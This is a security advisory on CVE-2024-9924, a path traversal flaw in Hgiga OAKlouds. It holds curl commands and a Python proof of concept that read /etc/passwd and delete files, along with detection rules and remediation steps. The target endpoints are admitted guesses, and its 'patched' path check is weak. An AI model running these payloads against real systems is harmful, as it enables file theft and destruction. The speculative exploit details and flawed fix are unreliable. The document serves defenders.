CVE-2024-9924

Executive Summary

CVE-2024-9924 is a critical vulnerability in Hgiga OAKlouds, stemming from an incomplete fix for CVE-2024-26261. The flaw allows unauthenticated remote attackers to download arbitrary system files via path traversal, and subsequently delete them. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No official patch is available, and public proof-of-concept (PoC) code exists, making active exploitation likely. The EPSS score is 0.0%, indicating low current exploitation probability, but the high severity and public PoC demand immediate attention.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary web application (Hgiga OAKlouds) and does not involve open-source package supply chains.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full file system read access.
• Integrity Impact: High (I:H) – Files can be deleted.
• Availability Impact: High (A:H) – Deletion of critical files can cause denial of service.

Threat Level: Critical. The combination of remote, unauthenticated access with file read and delete capabilities makes this a top-priority vulnerability for remediation.

Deep Dive & Mechanics

The vulnerability is a path traversal (directory traversal) flaw in Hgiga OAKlouds. The original CVE-2024-26261 was partially patched, but the fix was incomplete, leaving a bypass vector. An attacker can craft a malicious HTTP request with directory traversal sequences (e.g., ../) to read arbitrary files outside the web root. Additionally, the same mechanism can be used to delete files, likely via a DELETE request or a parameter that triggers file removal.

Root Cause: Insufficient input validation on file path parameters. The application fails to properly sanitize user-supplied paths, allowing traversal to system directories (e.g., /etc/passwd, /etc/shadow, configuration files).

Attack Flow:

1. Attacker sends a GET request with a path traversal payload to a vulnerable endpoint (e.g., /download?file=../../../etc/passwd).
2. The server reads the requested file and returns its contents.
3. For deletion, the attacker sends a DELETE request or uses a specific parameter (e.g., /delete?file=../../../etc/cron.d/evil).
4. The server deletes the specified file, potentially causing system instability or privilege escalation.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the current production version of OAKlouds. The incomplete fix for CVE-2024-26261 likely added basic sanitization (e.g., removing ../), but failed to account for:

• URL-encoded traversal sequences (%2e%2e%2f)
• Double encoding (..%252f)
• Unicode or alternate encoding
• Use of absolute paths (/etc/passwd)

Vulnerable Code Example (Conceptual):

# Vulnerable: No sanitization
def download_file(file_path):
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Hypothetical):

import os

def download_file(file_path):
    # Resolve to absolute path and ensure it's within allowed directory
    base_dir = '/var/www/oaklouds/files'
    abs_path = os.path.abspath(os.path.join(base_dir, file_path))
    if not abs_path.startswith(base_dir):
        raise PermissionError("Access denied")
    with open(abs_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Hgiga OAKlouds (any version prior to a hypothetical patch).
• Network access to the web interface.

Exploitation Steps:

1. Reconnaissance: Identify the OAKlouds instance (e.g., via Shodan dorks: http.title:"OAKlouds").
2. File Read: Use curl to read sensitive files:

   curl -v "http://target/oaklouds/download?file=../../../etc/passwd"
   

3. File Deletion: Attempt to delete critical files:

   curl -X DELETE "http://target/oaklouds/delete?file=../../../etc/cron.d/evil"
   

4. Automated Scanning: Use nuclei (if template available) or custom scripts.

PoC Script (Python):

import requests

target = "http://target/oaklouds"
payload = "../../../etc/passwd"

# Read file
r = requests.get(f"{target}/download?file={payload}")
print(r.text)

# Delete file (if endpoint exists)
r = requests.delete(f"{target}/delete?file={payload}")
print(r.status_code)

Blue Team (Defensive)

Detection & Response:

• Monitor web server logs for path traversal patterns (../, %2e%2e, etc.).
• Alert on requests to /download or /delete with suspicious parameters.
• Block IPs that attempt multiple traversal payloads.
• Implement WAF rules to filter traversal sequences.

Honeypot: Deploy a fake OAKlouds instance to capture attacker behavior.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../, %2e%2e%2f, or ..%252f in URI parameters.
  • Requests to endpoints like /download, /delete, /file, /read.
  • Outbound connections from the server to unknown IPs (exfiltration).

• File System IOCs:

  • Unexpected presence of files in /tmp or /var/tmp with traversal payloads.
  • Deletion of system files (e.g., /etc/passwd, /etc/shadow, /var/log/auth.log).

• Log IOCs:

  • Web server logs showing 404 or 500 errors for traversal attempts.
  • System logs indicating file deletion events (rm commands, unlink syscalls).

Detection Engineering

YARA Rule

rule CVE_2024_9924_PathTraversal {
    meta:
        description = "Detects path traversal attempts targeting Hgiga OAKlouds"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-9924"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $traversal5 = "..%252f"
        $endpoint1 = "/download"
        $endpoint2 = "/delete"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-9924 Path Traversal Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal patterns in HTTP requests to Hgiga OAKlouds
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
            - '..%252f'
        cs-uri-stem|contains:
            - '/download'
            - '/delete'
    condition: selection
falsepositives:
    - Legitimate use of '..' in file names (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9924 Path Traversal Attempt"; flow:to_server; content:"/download"; http_uri; nocase; content:"../"; http_uri; distance:0; sid:1000001; rev:1;)
alert http any any -> any any (msg:"CVE-2024-9924 Path Traversal Attempt"; flow:to_server; content:"/delete"; http_uri; nocase; content:"../"; http_uri; distance:0; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the OAKlouds server from the internet if possible.
2. Apply WAF rules to block path traversal patterns (e.g., ModSecurity rule 930120).
3. Monitor logs for exploitation attempts.

Long-term Fix:

• Since no vendor patch exists, consider migrating to an alternative solution.
• If source code is available, implement proper input validation:
  • Use os.path.abspath() and ensure the resolved path starts with a whitelisted base directory.
  • Reject any path containing .. or / after normalization.
• Contact Hgiga for an official patch or workaround.

Compensating Controls:

• Restrict file system permissions so the web server user cannot read/write sensitive files.
• Use a reverse proxy (e.g., Nginx) to filter malicious requests before they reach the application.

Valters IT